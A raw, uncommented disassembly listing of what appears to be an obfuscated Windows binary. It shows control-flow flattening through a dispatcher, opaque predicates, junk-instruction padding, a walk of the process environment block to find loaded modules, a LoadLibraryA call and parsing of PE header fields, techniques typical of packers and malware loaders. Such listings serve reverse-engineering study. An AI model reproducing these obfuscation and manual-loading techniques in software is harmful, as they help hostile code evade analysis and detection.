mov eax, dword [ebp - 0xa8]
mov eax, 0x9bf9656f
jmp 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xdc04a3
mov ecx, edx
and ecx, 0x24018300
and edx, 0x2ff3af6b
or esi, ecx
mov ecx, eax
xor ecx, 0x24dd87a3
and ecx, eax
xor esi, 0xdc04a3
and eax, 0xd00c5094
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x24dd87a2
and esi, 0xdb22785d
or ecx, esi
mov esi, 0x6c8f2724
mov edi, ecx
not edi
mov edx, ecx
and edx, 0xe9e3072b
and edi, 0x161cf8d4
or edi, edx
mov edx, eax
xor edx, 0x100c5094
xor eax, 0x2ff3af6b
or ecx, eax
and eax, 0xe9e3072b
and edx, 0x161cf8d4
or edx, eax
not ecx
xor edx, edi
mov edi, 0x338999bd
or ecx, edx
cmp ecx, 0xffffffff
sete ah
cmp dword [0x477980], 0xa
setl dl
mov al, dl
xor al, ah
mov ch, al
mov cl, al
xor al, 1
and ch, ah
and cl, dl
or dl, ah
mov ah, al
xor ch, 1
xor cl, 1
or al, dl
xor ah, dl
mov dh, ch
xor al, 1
xor dh, cl
or cl, ch
or al, ah
xor cl, 1
mov ah, al
or cl, dh
xor ah, 1
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x338999bd
cmovne eax, esi
test dl, 1
cmove eax, edi
test cl, 1
cmovne eax, esi
jmp 0x402340
mov eax, 0x7a3f6c7d
jmp 0x402340
neg edi
sub edx, 4
neg edx
rcl ebx, 0xf7
rol esi, 0x43
neg esi
or esi, 0xbf
mov ebx, 0x24
sbb ebx, 0xae
bswap edi
rol esi, 0x5a
rcr edi, 0x69
not edi
add edx, 0x2a
rcl edi, 0x81
dec esi
rcl eax, 0x86
rcl edi, 5
rcr ebx, 0x67
inc edx
rol eax, 0x6e
ror eax, 0x2e
imul ebx
dec ebx
neg eax
not edi
inc ebx
ror esi, 0xa2
not esi
neg esi
inc edx
bswap ebx
sub edx, 0x78
rcl edx, 0x6e
rcr edx, 0x1e
bswap eax
sub edx, 0xed
rcl eax, 0xb8
not esi
bswap eax
bswap ebx
add eax, 0x43
bswap edx
rol edx, 0xff
not edi
dec eax
inc edi
bswap edi
inc esi
not edi
or esi, 0x64
imul edx
not edx
bswap edi
inc edi
ror esi, 0x14
neg eax
dec ebx
and ebx, 0x6c
sbb ebx, 0xc2
mov edi, 0x49
add eax, 0x5e
not esi
and edx, 0x5a
rcl edi, 0x76
mov edx, 0x3e
mov ebx, 0xbc
ror edx, 0x25
rcl ebx, 0x4b
bswap ebx
bswap eax
neg esi
neg ebx
not edx
neg edi
and edi, 0xb3
rol ebx, 0x85
neg edi
sub esi, 0x95
inc eax
bswap ebx
dec esi
not ebx
add edi, 0x10
rcl eax, 0xdd
bswap ebx
rcr ebx, 9
sub esi, 0x4e
dec edx
inc ebx
dec edi
mov eax, 0xa9
rcl ebx, 0x6c
or ebx, 0xf6
inc edi
bswap esi
rcl eax, 0xe5
rcl edx, 0x2a
inc edx
not ebx
neg eax
bswap eax
sbb edi, 0x4c
or esi, 0xb0
bswap ebx
mov esi, 0x84
rcr edi, 0xdd
mov ebx, 0x7c
imul eax
rcl ebx, 0xc3
sub ebx, 0x93
dec edx
and edi, 0x85
dec edx
not edx
inc esi
or edi, 0x80
or edx, 0x3e
not ebx
rcr edx, 0xb2
imul esi
neg ebx
or edx, 0x18
neg esi
imul edi
sbb edx, 0x3c
neg edx
mov edx, 0x4d
or ebx, 0xf1
imul ebx
not esi
neg esi
inc ebx
inc ebx
inc esi
rol edx, 0x2e
add esi, 0x51
or edx, 0x9b
inc eax
add eax, 0x69
inc eax
imul ebx
rcl esi, 0xdb
rcl edi, 0xa6
ror edi, 0xa8
sbb eax, 1
bswap esi
bswap eax
rcr ebx, 0x5e
imul eax
mov eax, dword [ebp - 0x44]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x48]
add eax, 0xfffffff8
mov dword [ecx], eax
dec ebx
rol ebx, 0x58
imul edi
ror eax, 0xd0
not edi
sbb edi, 0xd1
or ebx, 0xeb
not eax
inc edx
not edx
imul eax
sub ebx, 0x61
neg edi
bswap edx
dec ebx
or esi, 0x2a
add edx, 0x5c
inc edi
bswap eax
rcr edx, 0xad
add esi, 0xac
inc esi
imul edi
sbb eax, 5
dec esi
rcr edx, 0x57
neg eax
imul ebx
bswap esi
add edi, 0x8d
bswap esi
add ebx, 0x31
dec edx
ror ebx, 0x4a
ror esi, 0x13
ror edx, 0x9e
neg edi
bswap eax
rol esi, 0xd7
sub edi, 0x30
add edi, 0xf5
inc edx
or esi, 0xce
mov edx, 0x87
bswap eax
neg edx
sbb ebx, 0xf6
inc edx
rcr esi, 0xc1
add esi, 0xd4
ror ebx, 5
sbb esi, 0x51
add esi, 0x11
neg edx
rcr ebx, 0x4f
inc eax
neg esi
imul edi
rcr edx, 0x9e
neg edi
inc edx
sub edx, 0xd8
dec eax
sbb edx, 0x3c
dec edx
imul edx
neg eax
inc ebx
neg ebx
dec ebx
sbb esi, 0x3d
sbb eax, 0x39
ror eax, 0x83
rcr ebx, 0
inc eax
sub edi, 0x86
ror esi, 0x59
inc edi
imul eax
rcl edx, 0x89
and eax, 0xb4
neg ebx
imul edi
add eax, 0xe
imul edi
imul edi
inc edi
or esi, 0xf9
dec ebx
rcl edi, 0x37
bswap ebx
sbb ebx, 0xa7
not esi
not eax
rcr ebx, 0x42
rcl eax, 0xfe
rcr edi, 0xf9
sub ebx, 0xad
not edx
dec eax
add edi, 0xef
dec edi
rcr esi, 0xe5
not eax
rcl ebx, 0xae
rol eax, 0x43
sub ebx, 0x5e
imul edx
bswap eax
rcr edx, 0x32
ror edi, 0x77
bswap edx
add edx, 0x65
sub eax, 0x2f
neg ebx
not esi
inc ebx
add eax, 0xfa
not eax
sbb ebx, 0x58
not ebx
neg edx
inc esi
sub edx, 0xe6
imul eax
add ebx, 0x4e
sub edi, 2
ror edx, 0x3e
neg eax
or ebx, 0xc
rcr eax, 0x4a
imul edi
rol edx, 0xa7
imul edi
add edx, 0x12
rcl edi, 0xf2
rcr ebx, 0xed
not esi
sbb eax, 0xa8
rcr eax, 0x38
dec eax
neg esi
rcl ebx, 0xe0
ror edx, 0xaa
inc eax
sbb edi, 0xf
rcr edx, 0x1d
imul ebx
rcl ebx, 0xff
imul esi
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, 0x24
mov dword [ecx], eax
sub ebx, 0x3a
inc edi
imul edx
mov edx, 0x88
mov edx, 0x44
not esi
sub esi, 0x55
ror eax, 0x71
rol esi, 0xe6
mov esi, 0xc9
add edi, 0xcd
imul edi
rol ebx, 0xd
neg esi
mov edx, 0xee
and edi, 0x45
inc eax
ror edx, 0xd0
imul ebx
ror ebx, 0x2c
and edx, 0xd8
neg ebx
inc edi
bswap ebx
and edx, 9
bswap esi
sbb edx, 0x79
add edi, 0x25
neg edi
inc edx
rcl ebx, 0x38
rcr esi, 0x42
rol esi, 0x4c
not esi
rcl edx, 0x93
dec eax
rcr esi, 0xc0
sub esi, 0xe1
sbb ebx, 0xc2
rol esi, 0xb8
or edi, 0xd7
bswap esi
ror edi, 0x44
or eax, 0x4b
not ebx
rcr edi, 0x4c
or ebx, 0xf1
mov ebx, 0xa
neg ebx
rol ebx, 0xbb
not edx
bswap eax
sbb ebx, 0x83
rcl edi, 0xd2
mov eax, 1
rcl ebx, 0x21
rcr ebx, 0xbb
neg eax
bswap edx
not eax
rcl edx, 0xb9
add esi, 0x80
mov eax, 0x70
rcl edi, 0x72
sub edx, 0x20
and edi, 0x81
sub edx, 0xcf
sbb esi, 0xec
sbb edx, 0xe8
not edx
inc edx
imul edx
imul edx
dec edi
add ebx, 0xf2
ror edi, 0x71
bswap edx
bswap eax
neg edi
neg esi
neg eax
rol eax, 0xb6
dec eax
inc edi
imul edi
or edi, 0x48
not ebx
and eax, 0x82
bswap edx
sbb esi, 0x60
or edi, 0x69
ror eax, 0x64
inc eax
sub ebx, 0xac
imul esi
neg eax
inc ebx
imul edx
mov eax, 0x98
sub edi, 0x54
inc edx
bswap ebx
mov edi, 0xba
ror edx, 0xeb
dec edx
rol edx, 0x85
neg ebx
bswap esi
sbb eax, 0x28
dec edx
bswap edx
not edi
neg eax
imul esi
not eax
rcr edi, 0xf
not esi
dec edx
rcr edx, 0x79
add edi, 0xa9
sub edx, 0
neg esi
sub eax, 0xa7
rcl edx, 0xca
and edx, 0x6b
rol edx, 0x1a
not eax
inc edx
dec ebx
inc esi
ror esi, 0x16
rol edx, 0x88
dec edi
inc edx
rcr edi, 0x8a
rol ebx, 0xb6
not esi
neg edi
add edx, 0x96
inc edx
imul eax
and ebx, 0x8c
imul ebx
and esi, 0xb5
ror esi, 0x13
not eax
ror edi, 0x41
not edi
not edx
sub esi, 0x2a
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x88]
mov eax, 0x9ffca102
jmp 0x402340
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x174]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xc0]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov eax, 0x786c9200
jmp 0x402340
mov ecx, dword [0x477984]
mov edi, 0x9aa1c361
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xa1852d2e
mov ecx, edx
and ecx, 0x5e7ad2d0
and edx, 0x61ca8f4e
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor esi, 0xa1852d2e
and eax, 0x9e3570b1
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0xc01a37d3
mov esi, edx
and esi, 0x3fe5c82c
or ecx, esi
mov esi, eax
xor esi, 0x80103091
xor eax, 0x21c0880c
and eax, 0x3fe5c82c
and esi, 0xc01a37d3
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xbcbc9d22
sete cl
setne dl
cmp dword [0x477980], 0xa
setl al
setge ah
mov ch, al
and cl, ah
and al, dl
xor ch, dl
or al, cl
mov dh, ch
xor dh, ah
and dh, ch
xor al, dh
mov ecx, eax
cmovne esi, edi
not cl
test cl, dh
mov edx, 0xbcbc9d22
cmove esi, edx
cmovne esi, edi
test al, al
cmovne esi, edi
mov eax, esi
jmp 0x402340
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x140]
cmp ecx, dword [eax + 4]
mov eax, 0x5984c75b
setb byte [ebp - 0x8b]
jmp 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0x154d0926
jmp 0x402340
mov eax, 0x1d8f4db9
jmp 0x402340
mov eax, dword [ebp - 0x68]
mov dword [eax], 2
mov eax, 0x1e0420a6
jmp 0x402340
mov eax, dword [ebp - 0x34]
mov esi, 0x9cb92edf
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x10d4b221
and ecx, 0xe00308d6
and eax, 0xf284508
or edx, eax
xor edx, 0x10d4b221
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x6389aca1
and eax, 0x9c76535e
or ecx, eax
mov edx, ecx
xor edx, 0x7c755b88
xor ecx, 0x838aa477
mov eax, ecx
mov edi, edx
or eax, 1
and ecx, 0xfffffffe
and edi, 1
and edx, 0xbf1950d2
or edi, ecx
mov ecx, eax
and ecx, 0x40e6af2c
or edx, ecx
mov ecx, edi
not ecx
and edi, 0xbf1950d3
or eax, ecx
and ecx, 0x40e6af2c
or edi, ecx
not eax
xor edi, edx
or eax, edi
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xc63110f3
andn eax, eax, eax
and edx, 0x39ceef0c
or ecx, edx
xor ecx, 0xc63110f3
or eax, ecx
setne ah
sete ch
cmp dword [0x477980], 0xa
setge cl
setl dl
mov al, cl
or dl, ah
xor al, ch
xor dl, 1
xor al, 1
or al, cl
or cl, ch
mov ah, al
xor cl, 1
xor ah, 1
or cl, dl
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ah, cl
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x81fec4d3
cmovne esi, eax
test cl, cl
mov eax, 0x9cb92edf
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x402340
mov eax, 0x6bc5955d
jmp 0x402340
mov eax, dword [ebp - 0x1b0]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x1ac]
push dword [ebp - 0xc8]
push dword [ebp - 0x1a4]
push dword [ebp - 0x1a8]
push eax
vzeroupper
call fcn.00401f00
add esp, 0x10
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x68]
mov eax, 0x768cea05
jmp 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x22c79bc5
mov edx, eax
not edx
and ecx, eax
or eax, 0xdd38643a
and edx, 5
mov esi, eax
and esi, 0xe6dfffc2
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1920003d
or eax, esi
and esi, 0xe6dfffc2
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7f51675d
and ecx, 0x80ae98a2
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xa2690226
xor ecx, 0x5d96fc98
xor eax, 0x27f55f07
mov esi, ecx
and edx, 0xa76b263e
and esi, 0x5894d9c1
and eax, ecx
or esi, edx
mov ecx, esi
mov edx, esi
xor ecx, 0x5894d9c1
xor edx, 0xdd0885a1
xor esi, 0x20090012
and edx, ecx
and esi, 0x38095092
or eax, edx
mov edx, eax
not edx
and eax, 0x7a63a39e
and edx, 0x859c5c61
or eax, edx
mov edx, ecx
and edx, 0xc7f6af6d
and ecx, 1
or edx, esi
xor edx, 0x38095093
or ecx, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x408010ad
and ecx, 0x21018c10
mov edx, eax
or edx, 0x8e684340
and esi, 0xcee853ed
and eax, 0x10162002
and edx, 0xcee853ed
or eax, esi
mov esi, 0xe228d4d8
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0x9e7e6342
and eax, 0x61819cbd
or ecx, eax
sete ah
setne dl
cmp dword [0x477980], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
xor al, 1
xor cl, 1
xor dl, 1
or cl, ch
or al, dl
mov ah, cl
mov edx, ecx
and dl, al
xor ah, 1
xor al, 1
and ah, al
or al, cl
or ah, dl
mov ecx, eax
mov edx, 0x9ffca102
xor cl, ah
test al, al
cmovne edx, esi
test ah, 1
mov eax, 0x9ffca102
cmove edx, esi
test cl, 1
jmp 0x40b553
mov eax, 0x3f581bca
jmp 0x402340
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, 0xa97e57c0
jmp 0x402340
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
inc eax
mov dword [ecx], eax
mov eax, 0x2ad3ed81
jmp 0x402340
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x20087260
mov edx, eax
and edx, 0x2930013
and eax, 0xdd648d8c
or ecx, edx
xor ecx, 0x20087260
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x915399b5
mov esi, ecx
and esi, 0x6eac664a
or edx, esi
mov esi, eax
not esi
and eax, 0x915399b5
or ecx, esi
and esi, 0x6eac664a
or eax, esi
not ecx
mov esi, 0xbb3d245e
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xed15a901
and eax, 0x12ea56fe
or ecx, eax
mov eax, ecx
xor eax, 0x4d002101
xor ecx, 0x128004a8
and ecx, 0xb2958ca8
and eax, 0x4d6a7357
or eax, ecx
xor eax, 0xb2958ca8
sete dl
setne cl
cmp dword [0x477980], 0xa
setge ah
setl al
xor cl, ah
xor ah, dl
or al, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0xe298d376
cmovne esi, eax
test dl, dl
mov eax, 0xbb3d245e
jmp 0x40b1aa
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xe001a75
mov edx, eax
and edx, 0xc000a05
and ecx, eax
not eax
and eax, 0x2001070
or edx, eax
xor edx, 0xc000a05
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x5d7a2c18
and eax, 0xa285d3e7
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xac85c992
xor edx, 0x537a366d
xor ecx, 0xb966d40e
mov esi, eax
or esi, edx
and edx, 0x53c35b82
and ecx, esi
mov esi, ecx
not esi
and ecx, 0xea1ce262
and esi, 0x15e31d9d
or ecx, esi
mov esi, eax
and esi, 0xac3ca47d
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x50025201
xor esi, 0x28142434
or eax, edx
and esi, 0x2bd52db6
and eax, 0xd42ad249
or eax, esi
mov esi, 0x6e344ab5
xor eax, 0xd42ad249
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x71e42a99
and ecx, 0x8e1bd566
or eax, ecx
mov ecx, eax
xor ecx, 0x31642a81
xor eax, 0x8410c146
and eax, 0xc490c15e
and ecx, 0x3b6f3ea1
or ecx, eax
xor ecx, 0xc490c15e
sete ah
setne al
cmp dword [0x477980], 0xa
setge dl
setl ch
xor ch, al
xor al, dl
mov cl, ch
and al, ah
xor cl, dl
or dl, ah
xor al, 1
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and dl, al
not ah
and ah, cl
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x10de3401
cmovne eax, esi
test dl, dl
not cl
mov edx, 0x10de3401
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402340
mov eax, 0x8a6c98fb
jmp 0x402340
mov eax, 0x53385ac4
jmp 0x402340
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0xd0], ax
mov eax, 0x8fb7fd6f
jmp 0x402340
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x84]
mov edx, dword [edx]
mov esi, dword [ebp - 0x40]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*4 + 0x10]
mov edx, dword [ebp - 0x50]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xb0]
mov eax, 0xc724f3e
jmp 0x402340
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x190], eax
mov eax, 0xbb105eaf
jmp 0x402340
mov eax, dword [ebp - 0x34]
mov eax, 0x62cc4abe
jmp 0x402340
mov eax, 0xf13080c3
jmp 0x402340
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, 0xe0ecfc09
jmp 0x402340
mov eax, dword [ebp - 0x28]
mov eax, 0x92cfb0a
jmp 0x402340
cmp byte [ebp - 0x8c], 0
mov eax, 0x95f49c7e
mov ecx, 0xeab0643
cmovne eax, ecx
jmp 0x402340
mov eax, dword [ebp - 0x24]
mov eax, 0xd8b7d8e1
jmp 0x402340
mov eax, dword [ebp - 0x40]
mov eax, 0xce5bd880
jmp 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 5
mov eax, 0x50ad863f
jmp 0x402340
mov eax, 0xf3ffa4a4
jmp 0x402340
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, 0x41812b7f
jmp 0x402340
imul eax
sub edi, 0x55
inc esi
sbb eax, 0x72
rol edi, 0xc4
sbb esi, 0xde
neg eax
imul ebx
not edi
dec eax
add edi, 0x9b
neg edx
not eax
rol eax, 0x55
bswap ebx
imul esi
inc ebx
bswap ebx
or edi, 0xad
inc esi
dec edi
imul ebx
rcl ebx, 6
or esi, 0x8a
neg esi
ror edi, 0x88
rcl eax, 0x4f
imul eax
mov edi, 0x8a
rol esi, 0xe8
sub ebx, 0xaf
add edx, 0xbb
or eax, 0x25
neg eax
dec edx
or ebx, 0x95
ror edi, 0xaf
dec esi
inc edx
ror edi, 0xb0
sbb esi, 0xc7
neg ebx
bswap eax
neg edx
inc edi
mov ebx, 0x11
not esi
bswap edx
sub eax, 0xab
bswap edi
bswap edi
inc edi
mov esi, 0x37
sbb esi, 0x82
neg ebx
add esi, 0x6e
imul edi
neg edx
neg ebx
inc esi
or edi, 0xaa
sbb esi, 0xaa
inc edi
imul eax
or esi, 0xbd
rcl eax, 0x7d
imul esi
inc edx
imul eax
inc edi
not eax
ror esi, 0x30
sub edi, 0x32
dec eax
bswap esi
imul edx
sub esi, 0x34
imul esi
not eax
not eax
neg esi
bswap edx
bswap esi
rcl ebx, 0x2e
or ebx, 0x25
neg ebx
sub edi, 0xa8
not eax
inc eax
add eax, 0x14
mov esi, 0x9b
neg eax
neg eax
neg edx
rol esi, 0x5a
not esi
imul edx
inc eax
not edx
not ebx
not ebx
dec edi
not eax
dec eax
sbb edx, 0x2d
bswap eax
bswap eax
not edi
inc ebx
add ebx, 0x33
not eax
or ebx, 0xb2
ror ebx, 0xd3
neg eax
neg esi
inc eax
bswap eax
neg esi
rol esi, 8
or edi, 0xb9
inc eax
bswap esi
inc eax
rcr ebx, 0x15
dec eax
bswap edx
inc edx
rcr eax, 6
ror eax, 0x86
bswap esi
neg eax
dec edx
dec edi
ror edi, 0x23
inc edi
neg esi
mov ebx, 0x40
inc esi
rol eax, 0x15
ror ebx, 0x1c
bswap edx
rcl edx, 0xc4
sbb ebx, 0x43
sbb eax, 0x42
rcl esi, 0x37
rcr eax, 0x97
dec edi
imul esi
inc edi
rcl edi, 0xc0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x78
mov dword [ebp - 0x164], eax
mov eax, 0x7673dfea
jmp 0x402340
mov eax, dword [0x477984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xb68b41ae
and edx, 0x4974be51
or eax, edx
mov edx, eax
xor edx, 0x26884086
xor eax, 0x4974be51
mov esi, eax
and esi, 0xd0638338
and edx, 0x2f9c7cc7
or edx, esi
mov esi, ecx
not esi
and ecx, 0x2f9c7cc7
or eax, esi
and esi, 0xd0638338
or ecx, esi
not eax
mov esi, 0x5ac8749c
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x2cce7000
and edx, 0xfffffffe
and ecx, 0xd3318fff
or eax, ecx
xor eax, 0x2cce7001
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe0f84e58
and ecx, 0x1f07b1a7
or eax, ecx
mov ecx, eax
xor ecx, 0x1207b1a2
xor eax, 0x984e10
and eax, 0xd984e15
and ecx, 0xf267b1ea
or ecx, eax
xor ecx, 0xf267b1ea
setne dl
sete ah
cmp dword [0x477980], 0xa
setl cl
mov ch, cl
mov al, cl
xor ch, ah
and al, dl
xor dl, cl
or cl, ah
and ch, ah
mov ah, dl
or al, ch
xor ah, cl
or cl, dl
xor cl, 1
xor al, 1
or cl, ah
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x7701615b
cmovne ecx, esi
test al, al
mov esi, 0x7701615b
jmp 0x40a904
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x28441a04
mov esi, eax
mov edi, eax
or esi, 0x14888560
and edx, 0x3ccc9f64
and edi, 0x42324001
and eax, 0x7fb33aeb
or edi, edx
mov edx, ecx
and esi, 0x3ccc9f64
and edx, 0x8101209a
and ecx, 0x804cc514
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x56bac560
and esi, 0xa9453a9f
or edx, esi
mov esi, edx
not esi
and edx, 0x7fb33aeb
mov edi, esi
and edi, 0x804cc514
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xd0459316
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x477980], 0xa
setge ch
setl cl
mov al, ch
xor dl, cl
or ch, ah
or cl, ah
xor al, ah
not al
and al, ah
mov ah, dl
xor al, 1
xor ah, cl
or cl, dl
mov dh, al
or al, ch
xor cl, 1
or cl, ah
xor dh, ch
xor al, 1
or al, dh
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x6bc5955d
cmovne ecx, esi
test dl, 1
mov edx, 0x6bc5955d
cmovne edx, ecx
jmp 0x40c7c7
mov eax, 0xec20d445
jmp 0x402340
mov eax, dword [ebp - 0xb0]
mov ecx, dword [0x477984]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x184], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x34000000
and eax, 0x4a6d1c63
mov edx, ecx
or edx, 0x80802204
and esi, 0xb4802204
and ecx, 0x112c198
and edx, 0xb4802204
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x8192e39c
and ecx, 0x7e6d1c63
or eax, ecx
mov edx, eax
xor edx, 0x57d60dca
andn esi, eax, edx
and edx, eax
and eax, 0xfffffffe
mov ecx, esi
mov ebx, edx
not ecx
not ebx
and esi, 0x8f67498b
and edx, 0x8f67498b
mov edi, ecx
or ecx, ebx
and edi, 0x7098b674
and ebx, 0x7098b674
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xbcbc9d22
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x57d60dcb
and edx, 0xa829f234
or ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0xf73d0b19
mov ecx, eax
and ecx, 0x61310908
and edx, eax
not eax
and eax, 0x960c0211
or ecx, eax
xor ecx, 0x61310908
or ecx, edx
not edx
and edx, 0x8c2f4e6
and ecx, 0xf73d0b19
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe0e9bc45
mov edx, eax
and edx, 0x1f1643ba
or ecx, edx
xor ecx, 0x1f1643ba
xor eax, ecx
test eax, ecx
setne cl
sete dl
cmp dword [0x477980], 0xa
setl al
setge ah
and cl, al
and ah, dl
or al, dl
or cl, ah
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
or al, cl
xor dl, 1
or dl, ah
xor dl, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x805d3060
cmovne ecx, esi
test al, 1
mov eax, 0x805d3060
cmovne eax, ecx
test dl, 1
cmovne eax, ecx
jmp 0x402340
mov eax, 0x8073aa28
jmp 0x402340
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xbcc5fa17
and eax, ecx
not ecx
and ecx, 0xbcc5fa17
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x37545f93
and ecx, 0xc8aba06c
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x746e5a7a
xor ecx, 0x8b91a584
xor edx, 0x8b91a585
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0xd87af437
mov esi, eax
and esi, 0x27850bc8
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd87af437
or eax, esi
and esi, 0x27850bc8
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x41c20414
